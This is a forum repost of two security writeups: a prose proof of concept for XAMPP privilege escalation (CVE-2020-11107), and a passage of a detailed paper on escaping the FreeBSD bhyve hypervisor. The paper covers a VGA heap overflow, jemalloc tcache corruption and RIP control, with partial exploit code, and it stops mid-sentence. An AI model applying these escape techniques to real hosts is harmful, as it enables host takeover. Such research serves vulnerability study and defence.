-
Posts
18731 -
Joined
-
Last visited
-
Days Won
708
Everything posted by Nytro
-
CVE-2020-11107 This is a writeup for CVE-2020-11107 I've found. An issue was discovered in XAMPP before 7.2.29, 7.3.x before 7.3.16 , and 7.4.x before 7.4.4 on Windows. An unprivileged user can change a .exe configuration in xampp-contol.ini for all users (including admins) to enable arbitrary command execution. All this can be done through xampps control-panel. XAMPP allows an unprivileged User to access and modify its editor and browser configuration. The default value is notepad.exe The default value can be changed to set a bat file as the editor or browser. After saving the configuration, it changed for every user which can access the control panel. If an attacker sets the notepad value to a malicious .exe file or .bat file it gets executed after another user tries to open the log files via the control panel. This can result in grating a normal user admin privileges or worse. A step by step PoC can be found below: Default values of XAMPP‘s config file. Normal user which can access the control panel. Changing the notepad.exe file as User Silky to a malicious file. Config of Administrator got changed as well. Administrator tries to view a log file. Code gets executed and grants User Silky Admin rights. References: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11107 https://www.apachefriends.org/blog/new_xampp_20200401.html https://nvd.nist.gov/vuln/detail/CVE-2020-11107 Sursa: https://github.com/S1lkys/CVE-2020-11107/
-
|=-----------------------------------------------------------------------=| |=----=[ Tale of two hypervisor bugs - Escaping from FreeBSD bhyve ]=----=| |=-----------------------------------------------------------------------=| |=--------------------------=[ Reno Robert ]=---------------------------=| |=--------------------------=[ @renorobertr ]=---------------------------=| |=-----------------------------------------------------------------------=| --[ Table of contents 1 - Introduction 2 - Vulnerability in VGA emulation 3 - Exploitation of VGA bug 3.1 - Analysis of memory allocations in heap 3.2 - ACPI shutdown and event handling 3.3 - Corrupting tcache_s structure 3.4 - Discovering base address of guest memory 3.5 - Out of bound write to write pointer anywhere using unlink 3.6 - MMIO emulation and RIP control methodology 3.7 - Faking arena_chunk_s structure for arbitrary free 3.8 - Code execution using MMIO vCPU cache 4 - Other exploitation strategies 4.1 - Allocating a region into another size class for free() 4.2 - PMIO emulation and corrupting inout_handlers structures 4.3 - Leaking vmctx structure 4.4 - Overwriting MMIO Red-Black tree node for RIP control 4.5 - Using PCI BAR decoding for RIP control 5 - Notes on ROP payload and process continuation 6 - Vulnerability in Firmware Configuration device 7 - Exploitation of fwctl bug 7.1 - Analysis of memory layout in bss segment 7.2 - Out of bound write to full process r/w 8 - Sandbox escape using PCI passthrough 9 - Analysis of CFI and SafeStack in HardenedBSD 12-CURRENT 9.1 - SafeStack bypass using neglected pointers 9.2 - Registering arbitrary signal handler using ACPI shutdown 10 - Conclusion 11 - References 12 - Source code and environment details --[ 1 - Introduction VM escape has become a popular topic of discussion over the last few years. A good amount of research on this topic has been published for various hypervisors like VMware, QEMU, VirtualBox, Xen and Hyper-V. Bhyve is a hypervisor for FreeBSD supporting hardware-assisted virtualization. This paper details the exploitation of two bugs in bhyve - FreeBSD-SA-16:32.bhyve [1] (VGA emulation heap overflow) and CVE-2018-17160 [21] (Firmware Configuration device bss buffer overflow) and some generic techniques which could be used for exploiting other bhyve bugs. Further, the paper also discusses sandbox escapes using PCI device passthrough, and Control-Flow Integrity bypasses in HardenedBSD 12-CURRENT --[ 2 - Vulnerability in VGA emulation FreeBSD disclosed a bug in VGA device emulation FreeBSD-SA-16:32.bhyve [1] found by Ilja van Sprundel, which allows a guest to execute code in the host. The bug affects virtual machines configured with 'fbuf' framebuffer device. The below patch fixed the issue: struct { uint8_t dac_state; - int dac_rd_index; - int dac_rd_subindex; - int dac_wr_index; - int dac_wr_subindex; + uint8_t dac_rd_index; + uint8_t dac_rd_subindex; + uint8_t dac_wr_index; + uint8_t dac_wr_subindex; uint8_t dac_palette[3 * 256]; uint32_t dac_palette_rgb[256]; } vga_dac; The VGA device emulation in bhyve uses 32-bit signed integer as DAC Address Write Mode Register and DAC Address Read Mode Register. These registers are used to access the palette RAM, having 256 entries of intensities for each value of red, green and blue. Data in palette RAM can be read or written by accessing DAC Data Register [2][3]. After three successful I/O access to red, green and blue intensity values, DAC Address Write Mode Register or DAC Address Read Mode Register is incremented automatically based on the operation performed. Here is the issue, the values of DAC Address Read Mode Register and DAC Address Write Mode Register does not wrap under index of 256 since the data type is not 'uint8_t', allowing an untrusted guest to read or write past the palette RAM into adjacent heap memory. The out of bound read can be achieved in function vga_port_in_handler() of vga.c file: case DAC_DATA_PORT: *val = sc->vga_dac.dac_palette[3 * sc->vga_dac.dac_rd_index + sc->vga_dac.dac_rd_subindex]; sc->vga_dac.dac_rd_subindex++; if (sc->vga_dac.dac_rd_subindex == 3) { sc->vga_dac.dac_rd_index++; sc->vga_dac.dac_rd_subindex = 0; } The out of bound write can be achieved in function vga_port_out_handler() of vga.c file: case DAC_DATA_PORT: sc->vga_dac.dac_palette[3 * sc->vga_dac.dac_wr_index + sc->vga_dac.dac_wr_subindex] = val; sc->vga_dac.dac_wr_subindex++; if (sc->vga_dac.dac_wr_subindex == 3) { sc->vga_dac.dac_palette_rgb[sc->vga_dac.dac_wr_index] = . . . . . . sc->vga_dac.dac_wr_index++; sc->vga_dac.dac_wr_subindex = 0; } The vulnerability provides very powerful primitives - both read and write access to heap memory of the hypervisor user space process. The only issue is, after writing to dac_palette, the RGB value is encoded and written to the adjacent dac_palette_rgb array as a single value. This corruption can be corrected during the subsequent writes to dac_palette array since dac_palette_rgb is placed next to dac_palette during the linear write. But if the corrupted memory is used before correction, the bhyve process could crash. Such an issue was not faced during the development of exploit under FreeBSD 11.0-RELEASE-p1 r306420 --[ 3 - Exploitation of VGA bug Though FreeBSD does not have ASLR, it is necessary to understand the process memory layout, the guest features which allow allocation and deallocation of heap memory in the host process and the ideal structures to corrupt for gaining reliable exploit primitives. This section provides an in-depth analysis of the exploitation of heap overflow to achieve arbitrary code execution in the host. ----[ 3.1 - Analysis of memory allocations in heap FreeBSD uses jemalloc allocator for dynamic memory management. Research done by huku, argp and vats on jemalloc [4][5][6], provides great insights into the allocator. Understanding the details provided in paper Pseudomonarchia jemallocum [4] is essential for following many parts of section 3. The jemalloc used in FreeBSD 11.0-RELEASE-p1 is slightly different from the one described in papers [4][5], however, the core design and exploitation techniques remain the same. The user space bhyve process is multi-threaded, and hence multiple thread caches are used by jemalloc. The threads of prime importance for this study are 'mevent' and 'vcpu N', where N is the vCPU number. 'mevent' thread is the main thread which does all the initialization as part of main() function in bhyverun.c file: int main (int argc, char *argv[]) { memsize = 256 * MB; . . . case 'm': error = vm_parse_memsize(optarg, &memsize); . . . vm_set_memflags(ctx, memflags); err = vm_setup_memory(ctx, memsize, VM_MMAP_ALL); . . . if (init_pci(ctx) != 0) . . . fbsdrun_addcpu(ctx, BSP, BSP, rip); . . . mevent_dispatch(); . . . } The first allocation of importance is the guest physical memory, mapped into the address space of the bhyve process. A preconfigured memory of 256MB is allocated to any virtual machine. A VM can also be configured with more memory using '-m' parameter. The guest physical memory map along with the system memory looks like below (found in pci_emul.c): /* * The guest physical memory map looks like the following: * [0, lowmem) guest system memory * [lowmem, lowmem_limit) memory hole (may be absent) * [lowmem_limit, 0xE0000000) PCI hole (32-bit BAR * allocation) * [0xE0000000, 0xF0000000) PCI extended config window * [0xF0000000, 4GB) LAPIC, IOAPIC, HPET, * firmware * [4GB, 4GB + highmem) */ Here the lowmem_limit can be a maximum value up to 3GB. Guest system memory is mapped into the bhyve process by calling mmap(). Along with the requested size of guest system memory, 4MB (VM_MMAP_GUARD_SIZE) guard pages are allocated before and after the virtual address space of the guest system memory. The vm_setup_memory() API in lib/libvmmapi/vmmapi.c performs the mentioned operation as below: int vm_setup_memory(struct vmctx *ctx, size_t memsize, enum vm_mmap_style vms) { . . . /* * If 'memsize' cannot fit entirely in the 'lowmem' segment then * create another 'highmem' segment above 4GB for the remainder. */ if (memsize > ctx->lowmem_limit) { ctx->lowmem = ctx->lowmem_limit; ctx->highmem = memsize - ctx->lowmem_limit; objsize = 4*GB + ctx->highmem; } else { ctx->lowmem = memsize; ctx->highmem = 0; objsize = ctx->lowmem; } /* * Stake out a contiguous region covering the guest physical * memory * and the adjoining guard regions. */ len = VM_MMAP_GUARD_SIZE + objsize + VM_MMAP_GUARD_SIZE; flags = MAP_PRIVATE | MAP_ANON | MAP_NOCORE | MAP_ALIGNED_SUPER; ptr = mmap(NULL, len, PROT_NONE, flags, -1, 0); . . . baseaddr = ptr + VM_MMAP_GUARD_SIZE; . . . ctx->baseaddr = baseaddr; . . . } Once the contiguous allocation for guest physical memory is made, the pages are later marked as PROT_READ | PROT_WRITE and mapped into the guest address space. The 'baseaddr' is the virtual address of guest physical memory. The next interesting allocation is made during the initialization of virtual PCI devices. The init_pci() call in main() initializes all the device emulation code including the framebuffer device. The framebuffer device performs initialization of the VGA structure 'vga_softc' in vga.c file as below: void * vga_init(int io_only) { struct inout_port iop; struct vga_softc *sc; int port, error; sc = calloc(1, sizeof(struct vga_softc)); . . . } struct vga_softc { struct mem_range mr; . . . struct { uint8_t. dac_state; int dac_rd_index; int dac_rd_subindex; int dac_wr_index; int dac_wr_subindex; uint8_t dac_palette[3 * 256]; uint32_t dac_palette_rgb[256]; } vga_dac; }; The 'vga_softc' structure (2024 bytes) where the overflow happens is allocated as part of tcache bin, servicing regions of size 2048 bytes. The framebuffer device also performs a few allocations as part of the remote framebuffer server, however, these are not significant for the exploitation of the bug. Next, let's analyze the memory between vga_softc structure and the guest physical memory guard page to identify any interesting structures to corrupt or leak. Since the out of bounds read/write is linear, guest can only leak information until the guard page for now. The file readmemory.c in the attached code reads the bhyve heap memory from an Ubuntu 14.04.5 LTS guest operating system. ---[ readmemory.c ]--- . . . iopl(3); warnx("[+] Reading bhyve process memory..."); chunk_lw_size = getpagesize() * PAGES_TO_READ; chunk_lw = calloc(chunk_lw_size, sizeof(uint8_t)); outb(0, DAC_IDX_RD_PORT); for (int i = 0; i < chunk_lw_size; i++) { chunk_lw[i] = inb(DAC_DATA_PORT); } for (int index = 0; index < chunk_lw_size/8; index++) { qword = ((uint64_t *)chunk_lw)[index]; if (qword > 0) { warnx("[%06d] => 0x%lx", index, qword); } } . . . Running the code in the guest leaks a bunch of heap pointers as below: root@linuxguest:~/setupA/readmemory# ./readmemory . . . readmemory: [128483] => 0x801b6f000 readmemory: [128484] => 0x801b6f000 readmemory: [128486] => 0xe4000000b5 readmemory: [128489] => 0x100000000 readmemory: [128491] => 0x801b6fb88 readmemory: [128493] => 0x100000000 readmemory: [128495] => 0x801b701c8 readmemory: [128497] => 0x100000000 readmemory: [128499] => 0x801b70808 readmemory: [128501] => 0x100000000 readmemory: [128503] => 0x801b70e48 . . . After some analysis, it is realized that this is tcache_s structure used by jemalloc. Inspecting the memory with gdb provides further details: (gdb) info threads Id Target Id Frame * 1 LWP 100185 of process 4891 "mevent" 0x000000080121198a in _kevent () * from /lib/libc.so.7 . . . 12 LWP 100198 of process 4891 "vcpu 0" 0x00000008012297da in ioctl () from /lib/libc.so.7 (gdb) thread 12 [Switching to thread 12 (LWP 100198 of process 4891)] #0 0x00000008012297da in ioctl () from /lib/libc.so.7 (gdb) print *((struct tsd_s *)($fs_base-160)) $21 = {state = tsd_state_nominal, tcache = 0x801b6f000, thread_allocated = 2720, thread_deallocated = 2464, prof_tdata = 0x0, iarena = 0x801912540, arena = 0x801912540, arenas_tdata = 0x801a1b040, narenas_tdata = 8, arenas_tdata_bypass = false, tcache_enabled = tcache_enabled_true, __je_quarantine = 0x0, witnesses = {qlh_first = 0x0}, witness_fork = false} For any thread, the thread-specific data is located at an address pointed by $fs_base-160. The tcache address can be found by inspecting 'tsd_s' structure. The 'vcpu 0' thread's tcache structure is the one that the guest could access using the VGA bug. This can be confirmed by gdb: (gdb) print *(struct tcache_s *)0x801b6f000 $1 = {link = {qre_next = 0x801b6f000, qre_prev = 0x801b6f000}, prof_accumbytes = 0, gc_ticker = {tick = 181, nticks = 228}, next_gc_bin = 0, tbins = {{tstats = {nrequests = 0}, low_water = 0, lg_fill_div = 1, ncached = 0, avail = 0x801b6fb88}}} Since tcache structure is accessible, the tcache metadata can be corrupted as detailed in [4] for further exploitation. The heap layout was further analyzed under multiple CPU configurations as below: - Guest with single vCPU and host with single CPU - Guest with single vCPU and host with more than one CPU core - Guest with more than one vCPU and host with more than one CPU core Some of the observed changes are - The number of jemalloc arenas is 4 times the number of CPU core available. When the number of CPU core changes, the heap layout also changes marginally. I say marginally because tcache structure can still be reached from the 'vga_softc' structure during the overflow - When there is more than one vCPU, each vCPU thread has its own thread caches (tcache_s). The thread caches of vCPU's are placed one after the other. The thread cache structures of vCPU threads are allocated in the same chunk as that of vga_softc structure managed by arena[0]. During a linear overflow, the first tcache_s structure to get corrupted is that of vCPU0. Since vCPU0 is always available under any configuration, it is a reliable target to corrupt. The CPU affinity of exploit running in the guest should be set to vCPU0 to ensure corrupted structures are used during the execution of the exploit. To summarize, the heap layout looks like below: +-----------------------------------------------------+-------+---------+ | | | | | +---------+ +--------+ +--------+ +--------+ | | | | |vga_softc| |tcache_s| |tcache_s|.....|tcache_s| | Guard | Guest | | | | | vCPU0 | | vCPU1 | | vCPUX | | Page | Memory | | +---------+ +--------+ +--------+ +--------+ | | | | | | | +-----------------------------------------------------+-------+---------+ This memory layout is expected to be consistent for a couple of reasons. First, the jemalloc chunk of size 2MB is mapped by the allocator when bhyve makes its first allocation request during _libpthread_init() -> _thr_alloc() -> calloc(). This further goes through a series of calls tcache_create() -> ipallocztm() -> arena_palloc() -> arena_malloc() -> arena_malloc_large() -> arena_run_alloc_large() -> arena_chunk_alloc() -> chunk_alloc_core() -> chunk_alloc_mmap() -> pages_map() -> mmap() (some of the functions are skipped and library-private functions will have a prefix __je_ to their function names). The guest memory mapped using vm_setup_memory() during bhyve initialization will occupy the memory region right after this jemalloc chunk due to the predictable mmap() behaviour. Second, the 'vga_softc' structure will occupy a lower memory address in the chunk compared to that of 'tcache_s' structures because jemalloc allocates 'tcache_s' structures using tcache_create() (serviced as large allocation request of 32KB in this case) only when the vCPU threads make an allocation request. Allocation of 'vga_softc' structure happens much earlier in the initialization routine compared to the creation of vCPU threads by fbsdrun_addcpu(). ----[ 3.2 - ACPI shutdown and event handling Next task is to find a feature which allows the guest to trigger an allocation or deallocation after corrupting the tcache metadata. Inspecting each of the bins, an interesting allocation was found in tbins[4]: (gdb) print ((struct tcache_s *)0x801b6f000)->tbins[4] $2 = {tstats = {nrequests = 1}, low_water = -1, lg_fill_div = 1, ncached = 63, avail = 0x801b71248} (gdb) x/gx 0x801b71248-64*8 0x801b71048: 0x0000000813c10000 (gdb) x/5gx 0x0000000813c10000 0x813c10000: 0x0000000000430380 0x000000000000000f 0x813c10010: 0x0000000000000003 0x0000000801a15080 0x813c10020: 0x0000000100000000 (gdb) x/i 0x0000000000430380 0x430380 <power_button_handler>: push %rbp (gdb) print *(struct mevent *)0x0000000813c10000 $3 = {me_func = 0x430380 <power_button_handler>, me_fd = 15, me_timid = 0, me_type = EVF_SIGNAL, me_param = 0x801a15080, me_cq = 0, me_state = 1, me_closefd = 0, me_list = { le_next = 0x801a15100, le_prev = 0x801a15430}} bhyve emulates access to I/O port 0xB2 (Advanced Power Management Control port) to enable and disable ACPI virtual power button. A handler for SIGTERM signal is registered through FreeBSD's kqueue mechanism [7]. 'mevent' is a micro event library based on kqueue for bhyve found in mevent.c. The library exposes a set of API for registering and modifying events. The main 'mevent' thread handles all the events. The mevent_dispatch() function called from main() dispatches to the respective event handlers when an event is reported. The two notable API's of interest for the exploitation of this bug are mevent_add() and mevent_delete(). Let's see how the 0xB2 I/O port handler in pm.c uses the mevent library: static int smi_cmd_handler(struct vmctx *ctx, int vcpu, int in, int port, int bytes, uint32_t *eax, void *arg) { . . . switch (*eax) { case BHYVE_ACPI_ENABLE: . . . if (power_button == NULL) { power_button = mevent_add(SIGTERM, EVF_SIGNAL, power_button_handler, ctx); old_power_handler = signal(SIGTERM, SIG_IGN); } break; case BHYVE_ACPI_DISABLE: . . . if (power_button != NULL) { mevent_delete(power_button); power_button = NULL; signal(SIGTERM, old_power_handler); } break; } . . . } Writing the value 0xa0 (BHYVE_ACPI_ENABLE) will trigger a call to mevent_add() in mevent.c. mevent_add() function allocates a mevent structure using calloc(). The events that require addition, update or deletion are maintained in a list pointed by the list head 'change_head'. The elements in the list are doubly linked. struct mevent * mevent_add(int tfd, enum ev_type type, void (*func)(int, enum ev_type, void *), void *param) { . . . mevp = calloc(1, sizeof(struct mevent)); . . . mevp->me_func = func; mevp->me_param = param; LIST_INSERT_HEAD(&change_head, mevp, me_list); . . . } struct mevent { void (*me_func)(int, enum ev_type, void *); . . . LIST_ENTRY(mevent) me_list; }; #define LIST_ENTRY(type) \ struct { \ struct type *le_next; /* next element */ \ struct type **le_prev; /* address of previous next element */ \ } Similarly, writing a value 0xa1 (BHYVE_ACPI_DISABLE) will trigger a call to mevent_delete() in mevent.c. mevent_delete() unlinks the event from the list using LIST_REMOVE() and marks it for deletion by mevent thread: static int mevent_delete_event(struct mevent *evp, int closefd) { . . . LIST_REMOVE(evp, me_list); . . . } #define LIST_NEXT(elm, field) ((elm)->field.le_next) #define LIST_REMOVE(elm, field) do { \ . . . if (LIST_NEXT((elm), field) != NULL) \ LIST_NEXT((elm), field)->field.le_prev = \ (elm)->field.le_prev; \ *(elm)->field.le_prev = LIST_NEXT((elm), field); \ . . . } while (0) To summarize, guest can allocate and deallocate a mevent structure having function and list pointers. The allocation requests are serviced by thread cache of vCPU threads. CPU affinity could be set for the exploit code, to force allocations from a vCPU thread of choice. i.e. vCPU0 as seen in the previous section. Corrupting the 'tcache_s' structure of vCPU0, would allow us to control where the mevent structure gets allocated. ----[ 3.3 - Corrupting tcache_s structure 'tcache_s' structure has an array of tcache_bin_s structures. tcache_bin_s has a pointer (void **avail) to an array of pointers to pre-allocated memory regions, which services allocation requests of a fixed size. typedef struct tcache_s tcache_t; struct tcache_s { struct { tcache_t *qre_next; tcache_t *qre_prev; } link; uint64_t prof_accumbytes; ticker_t gc_ticker; szind_t next_gc_bin; tcache_bin_t tbins[1]; } struct tcache_bin_s { tcache_bin_stats_t tstats; int low_water; unsigned int lg_fill_div; unsigned int ncached; void **avail; } As seen in section 2.1.7 and 3.3.3 of paper Pseudomonarchia jemallocum [4] and [6], it is possible to return an arbitrary address during allocation by corrupting thread caches. 'ncached' is the number of cached free memory regions available for allocation. When an allocation is requested, it is fetched as avail[-ncached] and 'ncached' gets decremented. Likewise, when an allocation is freed, 'ncached' gets incremented, and the pointer is added to the free list as avail[-ncached] = ptr. The allocation requests for 'mevent' structure with size 0x40 bytes is serviced by tbin[4].avail pointers. The 'vga_softc' out of bound read can first leak the heap memory including the 'tcache_s' structure. Then the out of bound write can be used to overwrite the pointers to free memory regions pointed by 'avail'. By leaking and rewriting memory, we make sure parts of memory other than thread caches are not corrupted. To be specific, it is only needed to overwrite tbins[4].avail[-ncached] pointer before invoking mevent_add(). On a side note, the event marked for deletion by mevent_delete() is freed by mevent thread and not by vCPU0 thread. Hence the freed pointer never makes into tbins[4].avail array of vCPU0 thread cache but becomes available in mevent thread cache. When calloc() request is made to allocate mevent structure in mevent_add(), it uses the overwritten pointers of tcache_s structure. This forces the mevent structure to be allocated at the arbitrary guest-controlled address. Though the mevent structure can be allocated at an arbitrary address, we do not have control over the contents written to it to turn this into a write-anything-anywhere. In order to modify the contents of mevent structure, one solution is to allocate the structure into the guest system memory, mapped in the bhyve process. Since this memory is accessible to the guest, the contents can be directly modified from within the guest. The other solution is to allocate the structure adjacent to the 'vga_softc' structure, use the out of bound write again, to modify the content. The later technique will be discussed in section 4. The current approach to determine the 'tcache_s' structure in the leaked memory is a signature-based search using 'tcache_s' definition implemented as find_jemalloc_tcache() in the PoC. It is observed that the link pointers 'qre_next' and 'qre_prev' are page-aligned since 'tcache_s' allocations are page-aligned. Moreover, there are other valid pointers such as tbins[index].avail, which can be used as signatures. When a possible 'tcache_s' structure is located in memory, the tbins[4].avail pointer is fetched for further analysis. Next part of this approach is to locate the array of pointers in memory which tbins[4].avail points to, by searching for a sequence of values varying by 0x40 (mevent allocation size). Once the offset to avail pointer array from 'vga_softc' structure is known, we can precisely overwrite tbin[4].avail[-ncached] to return an arbitrary address. The 'vga_softc' address can be roughly calculated as tbins[4].avail - (number of entries in avail * sizeof(void *)) - offset to avail array from 'vga_softc' structure. tcache_create() function in tcache.c gives a clear understanding of tcache_s allocation and avail pointer assignment: tcache_t * tcache_create(tsdn_t *tsdn, arena_t *arena) { . . . size = offsetof(tcache_t, tbins) + (sizeof(tcache_bin_t) * nhbins); /* Naturally align the pointer stacks. */ size = PTR_CEILING(size); stack_offset = size; size += stack_nelms * sizeof(void *); /* Avoid false cacheline sharing. */ size = sa2u(size, CACHELINE); tcache = ipallocztm(tsdn, size, CACHELINE, true, NULL, true, arena_get(TSDN_NULL, 0, true)); . . . for (i = 0; i < nhbins; i++) { tcache->tbins[i].lg_fill_div = 1; stack_offset += tcache_bin_info[i].ncached_max * sizeof(void *); /* * avail points past the available space. Allocations will * access the slots toward higher addresses (for the * benefit of prefetch). */ tcache->tbins[i].avail = (void **)((uintptr_t)tcache + (uintptr_t)stack_offset); } return (tcache); } The techniques to locate 'tcache_s' structure has lot more scope for improvement and further study in terms of the signature used or leaking 'tcache_s' base address directly from link pointers when qre_next == qre_prev ----[ 3.4 - Discovering base address of guest memory Leaking the 'baseaddr' allows the guest to set up shared memory between the guest and the host bhyve process. By knowing the guest physical address of a memory allocation, the host virtual address of the guest allocation can be calculated as 'baseaddr' + guest physical address. Fake data structures or payloads could be injected into the bhyve process memory using this shared memory from the guest [8]. Due to the memory layout observed in section 3.1, if we can leak at least one pointer within the jemalloc chunk before guest memory pages (which is the case here), the base address of chunk can be calculated. Jemalloc in FreeBSD 11.0 uses chunks of size 2 MB, aligned to its size. CHUNK_ADDR2BASE() macro in jemalloc calculates the base address of a chunk, given any pointer in a chunk as below: #define CHUNK_ADDR2BASE(a) \ ((void *)((uintptr_t)(a) & ~chunksize_mask)) where chunksize_mask is '(chunksize - 1)' and 'chunksize' is 2MB. Once the chunk base address is known, the base address of guest memory can be calculated as chunk base address + chunk size + VM_MMAP_GUARD_SIZE (4MB) Another way to get the base address is by leaking the 'vmctx' structure from lower memory of chunk. This will be discussed as part of section 4.3. ----[ 3.5 - Out of bound write to write pointer anywhere using unlink Once the guest allocates the mevent structure within its system memory, it can overwrite the 'power_button_handler' callback and wait until the host turns off the VM. SIGTERM signal will be delivered to the bhyve process during poweroff, which in turn triggers the overwritten handler, giving RIP control. However, this approach has a drawback - the guest needs to wait until the VM is powered off from the host. To eliminate this host interaction, the next idea is to use the list unlink. By corrupting the previous and next pointers of the list, we can write an arbitrary value to an arbitrary address using LIST_REMOVE() in mevent_delete_event() (section 3.2). The major limitation of this approach is that the value written should also be a writable address. Hence function pointers cannot be directly overwritten. With the ability to write a writable address to arbitrary address, the next step is to find a target to overwrite to control RIP indirectly. ----[ 3.6 - MMIO emulation and RIP control methodology The PCI hole memory region of guest memory (section 3.1) is not mapped and is used for device emulation. Any access to this memory will trigger an Extended Page Table (EPT) fault resulting in VM-exit. The vmx_exit_process() in the VMM code src/sys/amd64/vmm/intel/vmx.c invokes the respective handler based on the VM-exit reason. static int vmx_exit_process(struct vmx *vmx, int vcpu, struct vm_exit *vmexit) { . . . case EXIT_REASON_EPT_FAULT: /* * If 'gpa' lies within the address space allocated to * memory then this must be a nested page fault otherwise * this must be an instruction that accesses MMIO space. */ gpa = vmcs_gpa(); if (vm_mem_allocated(vmx->vm, vcpu, gpa) || apic_access_fault(vmx, vcpu, gpa)) { vmexit->exitcode = VM_EXITCODE_PAGING; . . . } else if (ept_emulation_fault(qual)) { vmexit_inst_emul(vmexit, gpa, vmcs_gla()); vmm_stat_incr(vmx->vm, vcpu, VMEXIT_INST_EMUL, 1); } . . . } vmexit_inst_emul() sets the exit code to 'VM_EXITCODE_INST_EMUL' and other exit details for further emulation. The VM_RUN ioctl used to run the virtual machine then calls vm_handle_inst_emul() in sys/amd64/vmm/vmm.c, to check if the Guest Physical Address (GPA) accessed is emulated in-kernel. If not, the exit information is passed on to the user space for emulation. int vm_run(struct vm *vm, struct vm_run *vmrun) { . . . case VM_EXITCODE_INST_EMUL: error = vm_handle_inst_emul(vm, vcpuid, &retu); break; . . . } MMIO emulation in the user space is done by the vmexit handler vmexit_inst_emul() in bhyverun.c. vm_loop() dispatches execution to the respective handler based on the exit code. static void vm_loop(struct vmctx *ctx, int vcpu, uint64_t startrip) { . . . error = vm_run(ctx, vcpu, &vmexit[vcpu]); . . . exitcode = vmexit[vcpu].exitcode; . . . rc = (*handler[exitcode])(ctx, &vmexit[vcpu], &vcpu); } static vmexit_handler_t handler[VM_EXITCODE_MAX] = { . . . [VM_EXITCODE_INST_EMUL] = vmexit_inst_emul, . . . }; The user space device emulation is interesting for this exploit because it has the right data structures to corrupt using the list unlink. The memory ranges and callbacks for each user space device emulation is stored in a red-black tree. When a PCI BAR is programmed to map a MMIO region using register_mem() or when a memory region is registered explicitly through register_mem_fallback() in mem.c, the information is added to mmio_rb_root and mmio_rb_fallback RB trees respectively. During an instruction emulation, the red-black trees are traversed to find the node which has the handler for the guest physical address which caused the EPT fault. The red-black tree nodes are defined by the structure 'mmio_rb_range' in mem.c struct mmio_rb_range { RB_ENTRY(mmio_rb_range) mr_link; /* RB tree links */ struct mem_range mr_param; uint64_t mr_base; uint64_t mr_end; }; The 'mr_base' element is the starting address of a memory range, and 'mr_end' marks the ending address of the memory range. The 'mem_range' structure is defined in mem.h, has the pointer to the handler and arguments 'arg1' and 'arg2' along with 6 other arguments. typedef int (*mem_func_t)(struct vmctx *ctx, int vcpu, int dir, uint64_t addr, int size, uint64_t *val, void *arg1, long arg2); struct mem_range { const char *name; int flags; mem_func_t handler; void *arg1; long arg2; uint64_t base; uint64_t size; }; To avoid red-black tree lookup each time when there is an instruction emulation, a per-vCPU MMIO cache is used. Since most accesses from a vCPU will be to a consecutive address in a device memory range, the result of the red-black tree lookup is maintained in an array 'mmio_hint'. When emulate_mem() is called by vmexit_inst_emul(), first the MMIO cache is looked up to see if there is an entry. If yes, the guest physical address is checked against 'mr_base' and 'mr_end' value to validate the cache entry. If it is not the expected entry, it is a cache miss. Then the red-black tree is traversed to find the correct entry. Once the entry is found, vmm_emulate_instruction() in sys/amd64/vmm/vmm_instruction_emul.c (common code for user space and the VMM) is called for further emulation. static struct mmio_rb_range *mmio_hint[VM_MAXCPU]; int emulate_mem(struct vmctx *ctx, int vcpu, uint64_t paddr, struct vie *vie, struct vm_guest_paging *paging) { . . . if (mmio_hint[vcpu] && paddr >= mmio_hint[vcpu]->mr_base && paddr <= mmio_hint[vcpu]->mr_end) { entry = mmio_hint[vcpu]; } else entry = NULL; if (entry == NULL) { if (mmio_rb_lookup(&mmio_rb_root, paddr, &entry) == 0) { /* Update the per-vCPU cache */ mmio_hint[vcpu] = entry; } else if (mmio_rb_lookup(&mmio_rb_fallback, paddr, &entry)) { . . . err = vmm_emulate_instruction(ctx, vcpu, paddr, vie, paging, mem_read, mem_write, &entry->mr_param); . . . } vmm_emulate_instruction() further calls into instruction specific handlers like emulate_movx(), emulate_movs() etc. based on the opcode type. The wrappers mem_read() and mem_write() in mem.c call the registered handlers with corresponding 'mem_range' structure for a virtual device. int vmm_emulate_instruction(void *vm, int vcpuid, uint64_t gpa, struct vie *vie, struct vm_guest_paging *paging, mem_region_read_t memread, mem_region_write_t memwrite, void *memarg) { . . . switch (vie->op.op_type) { . . . case VIE_OP_TYPE_MOVZX: error = emulate_movx(vm, vcpuid, gpa, vie, memread, memwrite, memarg); break; . . . } static int emulate_movx(void *vm, int vcpuid, uint64_t gpa, struct vie *vie, mem_region_read_t memread, mem_region_write_t memwrite, void *arg) { . . . switch (vie->op.op_byte) { case 0xB6: . . . error = memread(vm, vcpuid, gpa, &val, 1, arg); . . . } static int mem_read(void *ctx, int vcpu, uint64_t gpa, uint64_t *rval, int size, void *arg) { int error; struct mem_range *mr = arg; error = (*mr->handler)(ctx, vcpu, MEM_F_READ, gpa, size, rval, mr->arg1, mr->arg2); return (error); } static int mem_write(void *ctx, int vcpu, uint64_t gpa, uint64_t wval, int size, void *arg) { int error; struct mem_range *mr = arg; error = (*mr->handler)(ctx, vcpu, MEM_F_WRITE, gpa, size, &wval, mr->arg1, mr->arg2); return (error); } By overwriting the mmio_hint[0], i.e. cache of vCPU0, the guest can control the entire 'mmio_rb_range' structure during the lookup for MMIO emulation. Guest further gains control of RIP during the call to mem_read() or mem_write(), since mr->handler can point to an arbitrary value. The corrupted handler 'mr->handler' takes 8 arguments in total. The last two arguments, 'mr->arg1' and 'mr->arg2' therefore gets pushed on to the stack. This gives some control over the stack, which could be used for stack pivot. In summary, corrupt jemalloc thread cache, use ACPI event handling to allocate mevent structure in guest, modify the list pointers, delete the event to trigger an unlink, use the unlink to overwrite 'mmio_hint[0]' to gain control of RIP. +--------------------------+ | | +------v-----++------------+ | |mmio_hint[0]||mmio_hint[1]| | +------------++------------+ | +-----------------------+----+----+-------------------------------------+ | Heap |....| | Guest Memory | | |....|+---+-----------------------------------+ | | |....|| | 2MB Huge Page | | | |....|| +-+---------------+ | | | |....|| | | mevent | | | |+---------+ +--------+ |....|| | | +-----------+ | | | ||vga_softc| |tcache_s| |....|| | | | next +-+----------+ | | || | | vCPU0 | |....|| | | +-----------+ | | | | |+---------+ +---+----+ |....|| | | +-----------+ | +--------v--------+ | | | |....|| | +-+ previous | | | Fake | | | | |....|| | +-----------+ | | mmio_rb_range | | | | |....|| +---------^-------+ +-----------------+ | | | |....|+-----------+---------------------------+ | +----------------+------+----+------------+-----------------------------+ | | | | +------------------------+ It is possible to derive the address of mmio_hint[0] allocated in the bss segment by leaking the 'power_button_handler' function address (section 3.5) in 'mevent' structure. But due to the lack of PIE and ASLR, the hardcoded address of mmio_hint[0] was directly used in the proof 